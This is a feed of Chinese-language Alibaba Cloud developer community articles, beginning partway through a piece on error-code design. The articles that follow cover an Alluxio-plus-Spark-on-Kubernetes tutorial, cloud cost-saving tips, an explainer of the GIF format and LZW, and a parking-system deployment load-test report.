      五位错误码的好处是易记,但是对于面向日志的错误码场景利用错误码制作需要分类的业务监控大盘将变得比较困难,比如统计应用 A 的功能 B 的错误出现次数。

      同样在系统间传递这个类型的错误码非常有可能发生错误码冲突。

      当然对于分为四段的错误码同样尤其不好的一面,应用标识和功能域标识需要有专人去管理或者开发一个错误码管理工具,否则时间一长很容易产生定义的混乱形成破窗。

      《手册》对于错误码定义我认为非常适合面向外部传递的错误码。简单、易记、是大家熟悉的错误码样式,并且透出的错误码数量是非常有限的。

      不用枚举定义错误码

      国际化支持是一个不使用枚举定义错误码很重要的理由。

      我们通过 i18n 的支持可以做到错误码、错误状态、错误描述的管理。

      五 面向外部传递的错误码

      面向外部传递的错误码是为了把域内的错误信息传递出去。

      可以让域外系统通过错误码进行错误码进行后续的动作或是中断操作或是记录日志继续执行。

      可以让前端通过错误码给出用户准确的错误提示或者忽略错误进行重试。

      错误码设计

      根据《手册》给出的错误码定义建议设计出的面向外部传递的错误码共五位,并且有如下分类:

      • 错误类型,表示错误来源,一位字母。
      • 错误编码,表示具体错误,四位数字。

      image.png

      错误码的后三位编号与 HTTP 状态码没有任何关系。

      错误码即人性,感性认知+口口相传,使用纯数字来进行错误码编排不利于感性记忆和分类。

      说明:数字是一个整体,每位数字的地位和含义是相同的。
      反例:一个五位数字 12345,第1位是错误等级,第 2 位是错误来源,345 是编号,人的大脑不会主动地分辨每位数字的不同含义。

      下图是《手册》给出的错误码示例:

      image.png

      他山之石

      他山之石不一定能攻玉。

      谷歌 API 错误码定义

      谷歌 API 的错误码定义与 HTTP 状态码有着非常强的联系,并且是一个全数字错误码定义。

      没有明显的错误分类,快速识别和自解释能力比较弱。

      image.png

      腾讯 OpenAPI(文智)错误码定义

      这也是一个全数字的错误码,没有明确的分类字段,纯数字的某一位已看不出明显的分类。

      不利于进行感性记忆。
      image.png

      微博 API 错误码定义

      同样是全数字的错误码定义:

      image.png

      其他建议

      《手册》中有一条建议:

      全部正常,但不得不填充错误码时返回五个零:00000。

      这也是在其他家 API 错误码中能够看到的定义。

      参考

      《阿里巴巴java开发手册》
      《Google API Design Guide 》(https://www.bookstack.cn/books/API-design-guide
      《阿里云-文件存储-错误码》(https://help.aliyun.com/document_detail/62603.html
      《微博开放平台-API-错误码》(https://open.weibo.com/wiki/Help/error
      《腾讯开放平台-错误码》(https://wiki.open.qq.com/wiki/%E9%94%99%E8%AF%AF%E7%A0%81

      ]]>
      在Kubernetes中用Alluxio加速Spark数据访问(一)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1.背景信息

      1.1 alluxio

      Alluxio是一个开源的基于内存的分布式存储系统,适合作为云上大数据和AI / ML的数据编排方案。Alluxio可以同时管理多个底层文件系统,将不同的文件系统统一在同一个名称空间下,让上层客户端可以自由访问统一名称空间内的不同路径,不同存储系统的数据。

      alluxio的short-circuit功能可以使alluxio客户端直接访问alluxio worker所在主机的工作存储,而不需要通过网络栈与alluxio worker完成通信,可以提高性能。

      1.2 spark operator

      Spark-operator用于管理k8s集群中spark job。通过spark-operator可以在k8s集群中创建、查看和删除spark job。

      2.前提条件

      本文档的操作依赖如下的一些条件:

      • kubernetes集群:版本大于1.8,本次实验的集群通过阿里云容器服务创建,集群名称为"ack-create-by-openapi-1"。

      image.png

      • 安装有linux或者mac操作系统的计算机作为我们的实验环境(本次实验中,假设该计算机名称为alluxio-test)。该计算机需要准备如下环境:

        • docker >= 17.06
        • kubectl >= 1.8,能够连接kubernets集群ack-create-by-openapi-1

      3.实验步骤

      实验步骤主要包括如下几步:

      • 部署alluxio
      • 部署spark-operator
      • 制作spark docker镜像
      • 上传文件到alluxio
      • 提交spark job

      下面将对每个步骤进行说明:

      3.1 部署alluxio

      进入容器服务应用目录,在右上角的搜索框中搜索"alluxio",然后进入alluxio主界面,如图:
      image.png

      选择“参数”,修改配置中properties部分的"alluxio.user.short.circuit.enabled"值为"false",然后选择将alluxio安装到目标集群上(本次实验的集群为"ack-create-by-openapi-1"),最后点击创建,如图
      image.png

      点击创建后,使用kubectl给待安装的alluxio组件的节点打上标签"alluxio=true",首先查看该集群有哪些节点:

      $ kubectl get nodes -o wide
      NAME                      STATUS   ROLES    AGE   VERSION            INTERNAL-IP    EXTERNAL-IP   OS-IMAGE                               KERNEL-VERSION            CONTAINER-RUNTIME
      cn-beijing.192.168.8.12   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.12   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.13   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.13   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.14   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.14   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.15   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.15   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.16   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.16   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.17   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.17   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5

      可以看到有三个worker节点,分别为:

      • cn-beijing.192.168.8.15
      • cn-beijing.192.168.8.16
      • cn-beijing.192.168.8.17

      我们给是三个节点都打上标签"alluxio=true":

      $ kubectl label nodes cn-beijing.192.168.8.15 
        cn-beijing.192.168.8.16 
        cn-beijing.192.168.8.17 
        alluxio=true

      使用kubectl查看各个pod是否都处于running状态:

      $ kubectl get po -n alluxio
      NAME                   READY   STATUS    RESTARTS   AGE
      alluxio-master-0       2/2     Running   0          4h1m
      alluxio-worker-5zg26   2/2     Running   0          4h1m
      alluxio-worker-ckmr9   2/2     Running   0          4h1m
      alluxio-worker-dvgvd   2/2     Running   0          4h1m

      验证alluxio是否处于ready:

      $ kubectl exec -ti alluxio-master-0 -n alluxio bash
      
      //下面步骤alluxio-master-0 pod中执行
      bash-4.4# alluxio fsadmin report capacity
      
      Capacity information for all workers:
          Total Capacity: 3072.00MB
              Tier: MEM  Size: 3072.00MB
          Used Capacity: 0B
              Tier: MEM  Size: 0B
          Used Percentage: 0%
          Free Percentage: 100%
      
      Worker Name      Last Heartbeat   Storage       MEM
      192.168.8.15    0                capacity      1024.00MB
                                        used          0B (0%)
      192.168.8.16    0                capacity      1024.00MB
                                        used          0B (0%)
      192.168.8.17    0                capacity      1024.00MB
                                        used          0B (0%)

      3.2 部署spark-operator

      进入容器服务应用目录,在右上角的搜索框中搜索"ack-spark-operator",然后进入ack-spark-operator主界面,如图:
      image.png
      选择将ack-spark-operator安装到目标集群上(本次实验的集群为"ack-create-by-openapi-1"),然后点击创建,如图:
      image.png

      本次实验将会使用sparkctl向k8s集群提交一个spark job,需要将sparkctl安装到我们在"2.前提条件"中所提到的实验环境"alluxio-test"中:

      $ wget http://spark-on-k8s.oss-cn-beijing.aliyuncs.com/sparkctl/sparkctl-linux-amd64 -O /usr/local/bin/sparkctl
      $ chmod +x /usr/local/bin/sparkctl

      3.3 制作spark docker镜像

      spark下载页面下载所需的spark版本,本次实验选择的saprk版本为2.4.6。运行如下命令下载spark:

      $ cd /root
      $ wget https://mirror.bit.edu.cn/apache/spark/spark-2.4.6/spark-2.4.6-bin-hadoop2.7.tgz
      #

      下载完成后,执行解压操作:

      $ tar -xf spark-2.4.6-bin-hadoop2.7.tgz
      $ export SPARK_HOME=/root/spark-2.4.6-bin-hadoop2.7

      spark docker镜像是我们提交spark任务时使用到的镜像,这个镜像中需要包含alluxio client jar包。使用如下的命令获取alluxio client jar包:

      $ id=$(docker create alluxio/alluxio-enterprise:2.2.1-1.4)
      $ docker cp $id:/opt/alluxio/client/alluxio-enterprise-2.2.1-1.4-client.jar 
          $SPARK_HOME/jars/alluxio-enterprise-2.2.1-1.4-client.jar
      $ docker rm -v $id 1>/dev/null

      alluxio client jar包准备好以后,开始构建镜像:

      $ docker build -t spark-alluxio:2.4.6 -f kubernetes/dockerfiles/spark/Dockerfile $SPARK_HOME

      请记住镜像名称“spark-alluxio:2.4.6”,在向k8s提交spark job中会用到这个信息。

      镜像构建完成以后,对镜像的处理有两种方式:

      • 如果有私有镜像仓库,将该镜像推送到私有镜像仓库中,同时保证k8s集群节点能够pull该镜像
      • 如果没有私有镜像仓库,那么需要使用docker save命令将该镜像导出,然后scp到k8s集群的各个节点,在每个节点上使用docker load命令将镜像导入,这样就能保证每个节点上都存在该镜像。

      3.4 上传文件到alluxio

      文章开头提到过:本次实验是提交一个spark job到k8s中,该spark job的目标是对某一个文件统计每一个单词出现的次数。现在需要把这个文件传到alluxio存储上,这里为了方便,直接把alluxio master中/opt/alluxio-2.3.0-SNAPSHOT/LICENSE(文件路径可能因alluxio版本有点差异)这个文件传到alluxio上。

      使用"kubectl exec"进入alluxio master pod,并拷贝当前目录下的LICENSE文件到alluxio的根目录中:

      $ kubectl exec -ti alluxio-master-0  -n alluxio bash
      //下面步骤alluxio-master-0 pod中执行
      bash-4.4# alluxio fs copyFromLocal LICENSE /

      接着查看一下LICENSE这个文件分成的block被alluxio放到哪些worker上了。

      $ kubectl exec -ti alluxio-master-0 -n alluxio bash
      //下面步骤alluxio-master-0 pod中执行
      
      bash-4.4# alluxio fs stat /LICENSE
      /LICENSE is a file path.
      FileInfo{fileId=33554431, fileIdentifier=null, name=LICENSE, path=/LICENSE, ufsPath=/opt/alluxio-2.3.0-SNAPSHOT/underFSStorage/LICENSE, length=27040, blockSizeBytes=67108864, creationTimeMs=1592381889733, completed=true, folder=false, pinned=false, pinnedlocation=[], cacheable=true, persisted=false, blockIds=[16777216], inMemoryPercentage=100, lastModificationTimesMs=1592381890390, ttl=-1, lastAccessTimesMs=1592381890390, ttlAction=DELETE, owner=root, group=root, mode=420, persistenceState=TO_BE_PERSISTED, mountPoint=false, replicationMax=-1, replicationMin=0, fileBlockInfos=[FileBlockInfo{blockInfo=BlockInfo{id=16777216, length=27040, locations=[BlockLocation{workerId=8217561227881498090, address=WorkerNetAddress{host=192.168.8.17, containerHost=, rpcPort=29999, dataPort=29999, webPort=30000, domainSocketPath=, tieredIdentity=TieredIdentity(node=192.168.8.17, rack=null)}, tierAlias=MEM, mediumType=MEM}]}, offset=0, ufsLocations=[]}], mountId=1, inAlluxioPercentage=100, ufsFingerprint=, acl=user::rw-,group::r--,other::r--, defaultAcl=}
      Containing the following blocks:
      BlockInfo{id=16777216, length=27040, locations=[BlockLocation{workerId=8217561227881498090, address=WorkerNetAddress{host=192.168.8.17, containerHost=, rpcPort=29999, dataPort=29999, webPort=30000, domainSocketPath=, tieredIdentity=TieredIdentity(node=192.168.8.17, rack=null)}, tierAlias=MEM, mediumType=MEM}]}

      可以看到LICENSE这个文件只有一个block(id为16777216),被放在了ip为192.168.8.17的k8s节点上。我们使用kubectl查看该节点名称为cn-beijing.192.168.8.17

      $ kubectl get nodes -o wide
      NAME                      STATUS   ROLES    AGE   VERSION            INTERNAL-IP    EXTERNAL-IP   OS-IMAGE                               KERNEL-VERSION            CONTAINER-RUNTIME
      cn-beijing.192.168.8.12   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.12   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.13   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.13   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.14   Ready    master   21d   v1.16.6-aliyun.1   192.168.8.14   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.15   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.15   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.16   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.16   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5
      cn-beijing.192.168.8.17   Ready    <none>   21d   v1.16.6-aliyun.1   192.168.8.17   <none>        Aliyun Linux 2.1903 (Hunting Beagle)   4.19.57-15.1.al7.x86_64   docker://19.3.5

      3.5 提交spark job

      下面的步骤将提交一个spark job到k8s集群中,该job主要是计算alluxio中/LICENSE文件的每个单词出现的次数。

      在步骤3.4中我们获取到LICENSE这个文件所包含的block都在节点cn-beijing.192.168.8.17上,此次实验中,我们通过指定node selector让spark driver和spark executor都运行在节点cn-beijing.192.168.8.17,验证在关闭alluxio的short-circuit功能的情况下,spark executor和alluxio worker之间的通信是否通过网络栈完成。

      • 说明:如果在开启alluxio的short-circuit功能的情况下,并且spark executor与其所要访问的文件(本次实验为/LICENSE这个文件)的block在同一个k8s节点上,那么spark executor中的alluxio client与该k8s节点上的alluxio worker之间的通信通过domain socket方式完成。

      首先生成提交spark job的yaml文件:

      $ export SPARK_ALLUXIO_IMAGE=<步骤3.3中制作的image,即spark-alluxio:2.4.6>
      $ export ALLUXIO_MASTER="alluxio-master-0"
      $ export TARGET_NODE=<步骤3.4获取到的LICENSE文件的block存储的节点,即cn-beijing.192.168.8.17>
      $ cat > /tmp/spark-example.yaml <<- EOF
      apiVersion: "sparkoperator.k8s.io/v1beta2"
      kind: SparkApplication
      metadata:
        name: spark-count-words
        namespace: default
      spec:
        type: Scala
        mode: cluster
        image: "$SPARK_ALLUXIO_IMAGE"
        imagePullPolicy: Always
        mainClass: org.apache.spark.examples.JavaWordCount
        mainApplicationFile: "local:///opt/spark/examples/jars/spark-examples_2.11-2.4.6.jar"
        arguments:
          - alluxio://${ALLUXIO_MASTER}.alluxio:19998/LICENSE
        sparkVersion: "2.4.5"
        restartPolicy:
          type: Never
        volumes:
          - name: "test-volume"
            hostPath:
              path: "/tmp"
              type: Directory
        driver:
          cores: 1
          coreLimit: "1200m"
          memory: "512m"
          labels:
            version: 2.4.5
          serviceAccount: spark
          volumeMounts:
            - name: "test-volume"
              mountPath: "/tmp"
          nodeSelector:
            kubernetes.io/hostname: "$TARGET_NODE"
        executor:
          cores: 1
          instances: 1
          memory: "512m"
          labels:
            version: 2.4.5
          nodeSelector:
            kubernetes.io/hostname: "$TARGET_NODE"
          volumeMounts:
            - name: "test-volume"
              mountPath: "/tmp"
      EOF

      然后,使用sparkctl提交spark job:

      $ sparkctl create /tmp/spark-example.yaml

      4.实验结果

      当提交任务后,使用kubectl查看spark driver的日志:

      $ kubectl get po -l spark-role=driver
      NAME                                 READY   STATUS      RESTARTS   AGE
      spark-alluxio-1592296972094-driver   0/1     Completed   0          4h33m
      
      $ kubectl logs spark-alluxio-1592296972094-driver --tail 20
      
      USE,: 3
      Patents: 2
      d): 1
      comment: 1
      executed: 1
      replaced: 1
      mechanical: 1
      20/06/16 13:14:28 INFO SparkUI: Stopped Spark web UI at http://spark-alluxio-1592313250782-driver-svc.default.svc:4040
      20/06/16 13:14:28 INFO KubernetesClusterSchedulerBackend: Shutting down all executors
      20/06/16 13:14:28 INFO KubernetesClusterSchedulerBackend$KubernetesDriverEndpoint: Asking each executor to shut down
      20/06/16 13:14:28 WARN ExecutorPodsWatchSnapshotSource: Kubernetes client has been closed (this is expected if the application is shutting down.)
      20/06/16 13:14:28 INFO MapOutputTrackerMasterEndpoint: MapOutputTrackerMasterEndpoint stopped!
      20/06/16 13:14:28 INFO MemoryStore: MemoryStore cleared
      20/06/16 13:14:28 INFO BlockManager: BlockManager stopped
      20/06/16 13:14:28 INFO BlockManagerMaster: BlockManagerMaster stopped
      20/06/16 13:14:28 INFO OutputCommitCoordinator$OutputCommitCoordinatorEndpoint: OutputCommitCoordinator stopped!
      20/06/16 13:14:28 INFO SparkContext: Successfully stopped SparkContext
      20/06/16 13:14:28 INFO ShutdownHookManager: Shutdown hook called
      20/06/16 13:14:28 INFO ShutdownHookManager: Deleting directory /var/data/spark-2f619243-59b2-4258-ba5e-69b8491123a6/spark-3d70294a-291a-423a-b034-8fc779244f40
      20/06/16 13:14:28 INFO ShutdownHookManager: Deleting directory /tmp/spark-054883b4-15d3-43ee-94c3-5810a8a6cdc7

      最后我们登陆到alluxio master上,查看相关指标统计到的值:

      $ kubectl exec -ti alluxio-master-0 -n alluxio bash
      //下面步骤alluxio-master-0 pod中执行
      bash-4.4# alluxio fsadmin report metrics
      Cluster.BytesReadAlluxio  (Type: COUNTER, Value: 290.47KB)
      Cluster.BytesReadAlluxioThroughput  (Type: GAUGE, Value: 22.34KB/MIN)
      Cluster.BytesReadDomain  (Type: COUNTER, Value: 0B)
      Cluster.BytesReadDomainThroughput  (Type: GAUGE, Value: 0B/MIN)

      BytesReadAlluxio和BytesReadAlluxioThroughput代表数据从网络栈传输;BytesReadDomain和BytesReadDomainThroughput代表数据从domain socket传输。可以看到所有数据都是从网络栈传输的(即使spark executor和LICENSE文件的block在同一k8s节点上)。

      5.参考文档

      ]]>
      【精品问答】110+数据挖掘面试题集合 | 技术日报(17期)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 每日干货推荐

      年中福利!阿里技术电子书 80 本+上半年大会资料 PDF 免费下载! >>>

      阿里云开发者社区超大技术福利!80+阿里系电子书开放下载,覆盖 Java、物联网、云原生、前端、大数据、开源、AI 等技术领域,深度分享阿里工程师实践精华,顶级技术内容一手掌握。

      更多精彩文章

      编程萌新看过来,一文带你入门Python | 伸手党福利篇>>>

      这是一篇介绍Python入门的文章,对于没有任何编程经验甚至不懂电脑的新手都是非常实用的。本文会从计算机的使用开始讲解,中间搭配一些经典的针对知识点的练习,最终大家都可以用Python开发出一个小游戏,快来跟我一起往下看!

      【【精品问答】110+数据挖掘面试题集合>>>

      数据挖掘工程师面试宝典双手呈上,快来收藏吧!

      精品公开课

      阿里云千万级架构的构建——架构的成长演变之路>>>

      在阿里云我们如何构建千万级架构?本次分享内容摘选《「阿里云」运维架构实践秘籍》,主要介绍了在云端如何从单机演变到如今普及的分布式+大数据架构,并且又如何演变到微服务+Fast Data千万级架构。

      ]]>
      阿里云省钱方法5条-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 以最省钱的方式购买阿里云服务器等云产品,要学会合理用户资格、代金券优惠和促销活动,才是最省钱的方法,利用好下面这5种方法,可以有效的节约我们购买阿里云产品的成本。

      阿里云省钱方法第1条:阿里云代金券一定要领取

      阿里云代金券是阿里云官方的一种长期行活动,旨在让用户利用代金券减少购买阿里云服务器等产品的成本,代金券有云服务器专用代金券、云数据库产品专用代金券、云产品通用代金券,其中云服务器专用代金券和云产品通用代金券是我们在购买阿里云服务器的时候可以使用的,使用方法的是最后支付购买订单的时候,系统会自动根据订单金额匹配可使用的代金券面额。
      阿里云代金券地址:阿里云官方云小站
      代金券抵扣最新版.png

      阿里云省钱方法第2条:尽量使用新用户账号购买

      阿里云针对新用户的优惠力度是最大的,无论是注册域名还是购买阿里云虚拟主机、ecs云服务器等热门产品,新用户的优惠力度都是最大的,例如1核1GB基础版的阿里云独享云虚拟主机,新用户购买只要206元,而老用户购买就需要500元了,足足高了294元。
      新用户还有一个好处就是参与阿里云的各种促销活动更加便利,因为阿里云的促销活动大多都只限新用户购买,例如当下最热门的活动价格只要91.80元的共享型s6实例1核2G1M带宽云服务器,就只能新用户购买。
      新用户优惠.png

      阿里云省钱方法第3条:尽量通过阿里云促销活动购买

      阿里云的各种促销活动不仅包含阿里云服务器产品,其他阿里云热门产品,例如云数据库、CDN、防火墙、云安全类产品都是可以通过促销活动购买到的,利用活动购买可以便宜很多,例如用户购买最多的计算型c5实例2核4G配置的阿里云服务器,通过阿里云活动购买价格只要699.84元,比原价购买节省了1892.16元。
      699.png

      阿里云省钱方法第4条:合理利用学生身份

      阿里云针对学生用户是有单独优惠的,如果你的实名认证身份证没有超过24岁,那么你可以直接获得学生身份,有了学生身份可以以9.5元一个月、114元一年的优惠价格购买到一款1核2G配置的ecs云服务器或者轻量应用服务器。
      阿里云学生机申请地址:云翼计划
      学生套餐.png

      阿里云省钱方法第5条:老用户也要学会利用好阿里云各种优惠福利

      虽然阿里云针对老用户的专属活动不多,但是我们应该多关注阿里云各种活动的具体规则,有些优惠政策老用户也是可以参与的,例如618年中大促活动中的云服务器专场,就有如下优惠政策是老用户也可以参与的:

      • 续费权益规则:活动期间,领取到续费权益的用户,可享受单实例续费,包1年7折优惠。
      • 购物车满减权益规则:活动期间,领取到购物车满减权益的用户,可在页面选择产品加入购物车后享受。
        618权益.png

      以上就是5条当下比较有效的阿里云省钱方法,相信利用好这些方法,可以帮助我们以最低的价格购买到自己所需的阿里云产品。

      ]]>
      浅谈动图文件格式 - GIF-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      简介

      GIF的全称是Graphics Interchange Format,可译为图形交换格式,用于以超文本标志语言(Hypertext Markup Language)方式显示索引彩色图像,在因特网和其他在线服务系统上得到广泛应用。GIF虽然是一个古老的文件格式,但是随着移动互联网的发展,在手机社交应用中因表情包和动图的火爆而重新大范围的进入公众视野, 重新流行起来。

      版本

      GIF具有GIF87a和GIF89a两个版本。
      GIF87a版本是1987年推出的,一个文件存储一个图像,严格不支持透明像素;GIF87a采用LZW压缩算法,它能够在保持图像质量的前提下将图像尺寸压缩百分之二十到二十五。
      GIF89a版本是1989年推出的很有特色的版本,该版本允许一个文件存储多个图像,可实现动画功能,允许某些像素透明。在这个版本中,为GIF文档扩充了图形控制区块、备注、说明、应用程序编程接口4个区块,并提供了对透明色和多帧动画的支持。

      文件格式详解

      一个典型的GIF文件,由以下内容构成:

      • Q:这是什么文件?A:GIF (Header)
      • Q:显示它需要多大的区域?A:宽xxx,高xxx(LSD)
      • Q:显示它需要准备哪些色彩?A:色表(LSD、GCT、ID、LCT)
      • Q:某一帧的内容是什么样的?A:LZW压缩后的像素列表
      • Q:如何绘制?A:位置、尺寸、透明色、隔行扫描(GCE、ID)
      • Q:绘制完一帧后还要做什么?A:Disposal Method(GCE)
      • Q:开始绘制下一帧前等待多久?A:0.01秒的倍数(GCE)
      • Q:循环播放几次?A:无限,或者1~65535次(NETSCAPE2.0)

      image.png

      Header

      前三个字节叫做“文件签名”,固定为'G' 'I' 'F'
      后三个字节标记GIF规范的版本,有"89a"和"87a"两种

      image.png

      Logical Screen Descriptor(LSD)

      包含以下信息:

      • 整个文件的尺寸
      • 是否有全局色表
      • 全局色表的颜色分辨率
      • 色表是否经过了排序
      • 全局色表中颜色的数量
      • 哪种颜色被视为背景色
      • 像素的长宽比
        image.png

      色表

      很多古老的显示设备并不能直接展示RGB数据, 由于硬件的限制,设备会预先将一些颜色加载到内部寄存器中, 每种颜色对应一个编号,传输图像时,不必传输每一个像素的颜色,而只需要传输每一个像素的颜色编号。

      假定色表中最多含有256项
      我们需要利用一些算法,提取出最能代表一张图片的256种颜色,配合抖动算法,让色表绘制出的图片尽量接近原图

      image.png
      原图色彩信息太丰富,会导致难以还原,这就是为什么我们很多时候看到的GIF图片,看起来像是信息缺失或失真的原因。
      image.png

      色表信息 - 颜色分辨率

      颜色分辨率表示原图中一个色彩通道的位数,例如,对于RGB444格式的原图,颜色分辨率为4,RGB888格式的原图,颜色分辨率为8。
      LSD中,颜色分辨率用3位​表示,将这个值+1可以得到实际的颜色分辨率数值, 例如,011代表颜色分辨率为4,111代表颜色分辨率为8
      image.png

      色表信息 - 色表大小

      色表大小表示色表中含有的项目数量,用3位表示,记为n,则实际的项目数量为2(n+1),例如,010代表8,100代表32, 111代表色表大小的上限,即256
      image.png

      色表的格式

      每一项含有RGB三个通道的值, 按照编号顺序排列
      image.png

      全局色表与本地色表

      除了GCT之外,每一帧还可以有自己的色表, 本地色表存在时,忽略全局色表
      image.png

      Image Descriptor

      描述如何绘制一帧图片, 一帧不需要占满整张图片, 图片可能是隔行扫描的
      image.png

      Graphics Control Extension(GCE)

      Graphics Control Extension(GCE)是在GIF89a中加入的,属于可选内容,它含有一些动画相关的属性(包括透明色)
      image.png

      LZW(Lempel–Ziv–Welch)编码

      LZW(Lempel–Ziv–Welch)编码由Abraham Lempel、Jacob Ziv和Terry Welch发明, 用于信息的无损压缩,它于1984年被提出,用固定长度的码,表示不同长度的字符串。

      GIF中的压缩算法采用的是该LZW的一个变体。

      LZW中,字典是不固定的,开始编解码前,会有一个初始字典,编解码时,随着数据的增多,字典也在不断扩充,读入的每一个此前未见过的新字符串,都会被加入到字典中

      如编码过程:

      • 字符串:aabcaac
      • 初始字典:#1->a,#2->b,#3->c
      • 见到aa,是我们没见过的字符串,在字典中增加#4->aa,输出1
      • 见到ab,在字典中增加#5->ab,输出1
      • 见到bc,增加#6->bc,输出2
      • 见到ca,增加#7->ca,输出3;见到aac,增加#8->aac,输出4
      • 最后见到c,输出3
      • 得到112343
      • 它对应的解码过程如下:
      • LZW串:112343
      • 初始字典:#1->a,#2->b,#3->c
      • 见到11,输出aa,并在字典中增加#4->aa
      • 见到23,输出bc,增加#5->ab和#6->bc
      • 见到43,输出aac,增加#7->ca和#8->aac
      • 得到aabcaac

      在GIF中,图像数据的内容是每个像素的颜色编号串,初始字典就是颜色编号对应同值的字典编号,另外加入两个码:Clear Code和End Of Information Code
      以4色图片为例,初始字典为:#1->1,#2->2,#3->3,#4->4,#5->Clear Code(遇到此Code时,清空字典重新开始
      ),#6->EOI code(图片结束)

      图像数据如下图所示,开头是初始字典(除去特殊Code)的位数,接着是数据块的字节数,接着是LZW数据块,以00结尾:

      image.png

      Disposal method

      绘制完一帧之后,如何处理
      0:未定义(可以清空)
      1:不处理
      2:在本帧绘制的区域填上背景色
      3:将本帧绘制的区域还原到绘制之前的状态

      GIF文件格式的优劣

      GIF是一个古老但流行的文件格式,这就概况了GIF这个文件格式的优劣,其优势在于推出时间早,广泛流行,几乎所有的操作系统和浏览器都有对GIF的很好的支持,基于浏览器对于该文件格式的解释,GIF具备加载即播放,同屏多播放等特性,这些都是与同类动态画面的文件(如短视频)所不一致的。而其缺陷在于它的信息承载比很低,同等文件尺寸下分辨率低,画面质量差,还原度差。
      现在有很多互联网公司都在推出新的动图格式如GIFV等,但一个新的格式需要将编解码工作都完成,这就需要既提供文件格式,又需要提供解码环境,虽然已经有一些公司在自己的SDK里面封装了新的动图格式,但这离成为行业标准还有一定距离。

      本文作者:
      李霄,陈敏

      ]]>
      无人车部署方式对比测试报告-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1引言
      1.1 文档目的
      本文档是咪网停车系统实施过程中的文档,此文档作为测试的指导性方案,用以明确与描述在客户选用阿里云服务时,服务器负载情况,以确保当客户选用阿里云服务可以适用。
      预期参考人员包括:产品用户、测试人员、开发人员、项目管理人员、以及质量管理人员和需要阅读本报告的高层经理。
      1.2 参考文档
      无人车监控客户端_概要设计.xlsx
      无人车监控客户端产品需求文档 .docx
      2 功能测试概要
      2.1 测试用例设计
      场景编号001:
      对“登录注册”模块中的“注册”及“登录”进行测试,要求注册正常,登录登出正常。
      场景编号002
      对“停车数据”模块中的“停车数据”进行测试,要求1平均车位周转率;2近30天停车收费数据总览;3停车方式占比;4停车时间占比功能正常。
      场景编号004
      对“车位管理”模块中的“车位地图”及“车位列表”进行测试,要求1展示车位地图;2全部、违停、空闲、计费数据;3搜索支持;4可创建搜索条件:路段,巡检员,查询是否正确;5车位列表展示;6可分页显示功能正常。
      场景编号005
      对“违停监控”模块中的“取证记录”进行测试,要求1搜索条件检查:2停车路段、巡检员、车辆信息、审核状态、提交时间;3取证记录审核,取消;4数据列表展示功能正常。
      环境编号001
      对阿里云环境及本地环境进行对比测试,主要关注同任务场景下负载情况。
      2.2 测试环境与配置
      数据库:MySql,Sqlserver
      Tomcat:Tomcat7.0
      服务器:阿里云
      2.3 测试方法
      场景法
      边界值
      等价类划分
      因果图等,混合使用
      3性能测试摘要
      3.1压力机器配置
      (IP)地址 操作系统 内存 CPU 硬盘
      10.0.0.55 Linux 16G 8C 100
      3.2被测机器配置
      主机型号 数量 操作系统 处理器 内存 硬盘 网络环境
      阿里云 8 Linux 4C 4GB 100GB 10M共享
      3650M5 1 ESXI/LINUX 32C 64GB 1TB*9 100MB独享不含BGP
      3.3基础数据准备
      咪表200个
      用户50个
      订单20000笔
      3.4性能测试目标要求

      1. 相关测试查询场景要求能支持50并发数
      2. CPU小于等于70%,内存小于等于70%
      3. 单一事务的成功率大于等于99.9%

      3.5 系统监控记录
      序号 测试场景
      (阿里云) cpu(%) RAM DB-CPU DB-RAM
      1 登录 78% 38% 30% 88%
      2 取证记录审核 78% 40% 29% 88%
      3 待付款订单查询 78% 41% 59% 88%
      4 已付款查询 78% 42% 48% 88%
      5 咪表健康 78% 43% 25% 88%

      序号 测试场景
      (本地) cpu(%) RAM DB-CPU DB-RAM
      1 登录 15% 42% 22% 45%
      2 取证记录审核 43% 35% 29% 75%
      3 待付款订单查询 23% 15% 67% 69%
      4 已付款查询 20% 15% 75% 33%
      5 咪表健康 32% 26% 25% 65%

      4 测试结果分析
      4.1 测试结果说明
      若客户仅选用单节点来支撑整体业务的情况,考虑年服务费与设备费用,建议选用阿里云服务器予以支撑。
      仅当客户并发量级超过500,且必须本地存储数据时,考虑采用本地部署方式。
      5.对软件功能的结论
      测试全部通过。

      ]]>
